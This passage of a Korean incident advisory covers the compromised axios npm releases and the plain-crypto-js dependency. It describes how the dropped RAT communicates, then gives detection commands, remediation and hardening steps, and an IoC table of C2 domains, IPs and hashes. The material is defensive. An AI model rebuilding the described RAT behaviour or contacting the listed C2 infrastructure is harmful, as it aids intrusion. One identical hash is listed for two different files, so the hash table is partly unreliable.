부팅 시간, 설치 시간, 시간대
•
각 비콘 응답에는 RAT이 실행할 명령에 포함될 수 있으며 실행 결과는 Base64로 인코딩되어 다시 POST방식으로 전달
•
모든 C2통신에서 사용되는 User-Agent 문자열은 다음과 같이 하드코딩 : mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
•
peinject 핸들러(Windows의 PE 인젝션에서 이름을 따왔으나 실제로는 Linux 변종임)으로 추가 페이로드를 배포하기 위한 매커니즘으로 이를 통해 C2 운영자는 언제든 임의의 바이너리 전송이 가능
•
코드의 156번 라인에는 ijtbin 파라미터 대신 정의되지 않은 b64_string을 참조하는 버그가 있는데, 이는 해당 코드가 다른 버전에서 복사되었음을 시사하며 shell=True 옵션이 설정된 runscript 명령이 이미 동일한 기능을 제공
•
이 RAT에는 자체적인 지속성(Persistence) 유지 메커니즘 없이 재부팅 전까지만 실행되기 때문에 공격자가 초기 접근 후 runscript나 peinject를 통해 별도의 지속성 메커니즘을 배포하거나, 본 캠페인이 신속한 데이터 탈취를 목적으로 하고 있다는 사실을 확인 가능
04. 대응방안
4.1. 코드 저장소 및 개발자 PC
•
GitHub의 코드 검색 기능을 사용하여 package.json 또는 package-lock.json 파일내 문제가 되는 버전 검색하고 안전한 이전 버전(1.14.0 이하, 0.30.3 이하)을 적용
◦
검색 키워드 : axios@1.14.1, axios@0.30.4, plain-crypto-js
◦
주의사항 : plain-crypto-js가 lock 파일에 존재한다면 이는 정상적인 Axios 패키지가 아니기 때문에 반드시 삭제 필요
▽ 로컬 저장소 내 확인 명령어
# Check for malicious axios versions
npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4"
grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4"
# Check for the phantom dependency (presence = compromise)
ls node_modules/plain-crypto-js 2>/dev/null && echo "POTENTIALLY COMPROMISED"
JavaScript
복사
•
RAT 공격 관련 아티팩트가 존재하는 경우에는 피해 시스템에 악성 패키지 설치 및 C2를 통한 페이로드 다운로드 등이 완료된 상태이기 때문에
◦
해당 기기를 즉시 네트워크에서 차단 후 정상적인 이미지에서 다시 재빌드 필요
◦
해당 시스템의 모든 자격증명을 교체 : npm tokens, SSH keys, AWS/GCP/Azure credentials, CI/CD secrets, .env files, database passwords 및 설치 시 접근 가능한 모든 값
▽ RAT 공격 관련 아티팩트 존재여부 확인 명령어
# macOS
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "COMPROMISED"
ls -la /private/tmp/.* 2>/dev/null | grep -v "^d" # dot-prefixed injected binaries
# Linux
ls -la /tmp/ld.py 2>/dev/null && echo "COMPROMISED"
ls -la /tmp/.* 2>/dev/null | grep -v "^d"
# Windows (PowerShell)
Test-Path "$env:PROGRAMDATA\wt.exe"
Test-Path "$env:PROGRAMDATA\system.bat"
Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "MicrosoftUpdate" -ErrorAction SilentlyContinue
JavaScript
복사
•
위의 검색 이외에도 운영체제 별로 발생하는 아티팩트 정보를 확인하여 피해 여부를 확인
▽ Windows
Indicator | Path / Value |
LOLBIN | C:\ProgramData\wt.exe (PowerShell.exe copy) |
Persistence loader | C:\ProgramData\system.bat (265 bytes, hidden) |
Registry Run key | HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate |
VBS intermediary | %TEMP%\6202033.vbs (transient) |
PS1 download | %TEMP%\6202033.ps1 (transient) |
CLR usage log | %LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\wt.exe.log |
▽ macOS
Indicator | Path / Value |
Stage 2 binary | /Library/Caches/com.apple.act.mond (657 KB, Mach-O universal x86_64+arm64) |
Injected payloads | /private/tmp/.<random> (dot-prefixed, ad-hoc signed) |
Script execution | /tmp/.XXXXXX.scpt (temporary AppleScript files) |
▽ Linux
Indicator | Path / Value |
Stage 2 script | /tmp/ld.py (12 KB, Python) |
Injected payloads | /tmp/.<random> (dot-prefixed, chmod 777) |
•
C2 통신여부 확인
◦
방화벽이나 프록시 로그 등에서 sfrclak[.]com(142.11.206.73, Port : 8000)으로 연결 시도여부 확인
◦
C2 IP(142.11.206.73) 및 도메인(sfrclak[.]com)으로의 통신을 전사적으로 차단
4.2. CI/CD 파이프라인
•
악성 버전이 활성화되었던 시간대인 2026-03-31 00:21 ~ 03:15(UTC) 기점으로 빌드 로그를 검토
◦
설치 로그 점검 : npm install 출력 결과에서 axios@1.14.1, axios@0.30.4, 또는 plain-crypto-js를 검색
◦
네트워크 로그 점검 : CI 러너에서 sfrclak.com 또는 142.11.206.73 (포트 8000)으로 향하는 외부 연결이 있었는지 확인
4.3. 악성 패키지 방지 방안
•
CI/CD에서 `--ignore-scripts` 옵션 고정 : npm ci --ignore-scripts 명령을 통해 자동 빌드 중에 postinstall훅이 실행되는 것을 방지
•
최소 릴리즈 기간 설정 : npm config set min-release-age 3 명령을 통해 3일 이내에 게시된 패키지 차단
•
OIDC 출처 정보를 확인 : 정식 axios 릴리스는 npm의 Trusted Publisher 메커니즘을 통해 GitHub Actions로 게시됨에 따라 OIDC출처 메타데이터가 없는 릴리스를 삭제
•
존재하지 않는 종속성을 모니터링 : package.json를 통해 종속성을 확인할 수 있으나 코드베이스 어디에서도 가져오거나 필요로 하지 않는 종속성은 릴리스가 손상되었을 가능성이 있기 때문에 지속적인 모니터링 필요
4.4. PyPI 및 npm 패키지 공급망 모니터링 도구 활용
•
두 레지스트리를 주기적으로 확인하여 새 릴리스를 찾고, 각 릴리스를 이전 릴리스와 비교하며, LLM( Cursor Agent CLI를 통해)을 사용하여 차이점을 양성 또는 악성 으로 분류하고 악성인 경우 Slack으로 알림 전송
•
--no-pypi또는 --no-npm를 사용하여 하나를 비활성화
┌─── PyPI ──────────────────────┐ ┌─── npm ───────────────────────┐
│ │ │ │
│ changelog_since_serial() │ │ CouchDB _changes feed │
│ │ │ │ │ │
│ ▼ │ │ ▼ │
│ ┌────────────┐ │ │ ┌────────────┐ │
│ │ All PyPI │─┐ │ │ │ All npm │─┐ │
│ │ events │ │ │ │ │ changes │ │ │
│ └────────────┘ ▼ │ │ └────────────┘ ▼ │
│ hugovk ──► Watchlist │ │ download-counts ─► Watchlist │
│ │ │ │ │ │
│ "new release" events only │ │ new versions since last epoch │
└───────────────┬───────────────┘ └───────────────┬───────────────┘
│ │
▼ ▼
┌───────────────────┐ ┌───────────────────┐
│ Download old + new│ │ Download old + new│
│ (sdist + wheel) │ │ (tarball) │
└───────────────────┘ └───────────────────┘
│ │
└─────────────────┬─────────────────┘
▼
┌───────────────┐
│ Unified diff │
│ report (.md) │
└───────┬───────┘
▼
┌───────────────┐ ◄── LLM analysis
│ Cursor Agent │ (read-only)
│ CLI (ask mode)│
└───────┬───────┘
│
verdict?
│
malicious │
▼
┌───────────────┐
│ Slack alert │
└───────────────┘
JavaScript
복사
05. IoC, Indicator of Compromise
NO | Type | DATA | Info |
1 | C2 | 142.11.206.73 | |
2 | Domain | sfrclak[.]com | Namecheap, registered 2026-03-30 / hxxp://sfrclak[.]com:8000/ (resolves to 142.11.206.73) |
3 | C2 | 23.254.167.216 | |
4 | SHA256 | e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 | SILKBELL (setup.js) |
5 | SHA256 | fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf | WAVESHAPER.V2 (Linux) |
6 | SHA256 | 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a | WAVESHAPER.V2 (macOS) |
7 | SHA256 | 5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cd | axios@1.14.1 |
8 | SHA256 | 59336a964f110c25c112bcc5adca7090296b54ab33fa95c0744b94f8a0d80c0f | axios@0.30.4 |
9 | SHA256 | 58401c195fe0a6204b42f5f90995ece5fab74ce7c69c67a24c61a057325af668 | plain-crypto-js-4.2.1.tgz |
10 | SHA256 | 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 | Windows |
11 | SHA256 | fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf | ld.py(Linux) |
12 | SHA256 | f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd | system.bat(Windows) |
13 | SHA256 | 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f | wt.exe(Windows), PowerShell 바이너리의 이름이 변경 |
14 | SHA256 | ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c | 6202033.ps1(Windows), PowerShell RAT 자체 삭제 |
15 | SHA256 | e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 | 6202033.vbs(Windows), VBScript 실행기 자동삭제 기능 포함 |
16 | Domain | packages.npm[.]org/product0 | C2 Post Body (macOS) |
17 | Domain | packages.npm[.]org/product1 | C2 Post Body (Windows) |
18 | Domain | packages.npm[.]org/product2 | C2 Post Body (Linux) |
19 | Domain | calltan[.]com | system.bat에서 참조되며 북한 연계 |
20 | Domain | callnrwise[.]com | 북한 관련 인프라 |





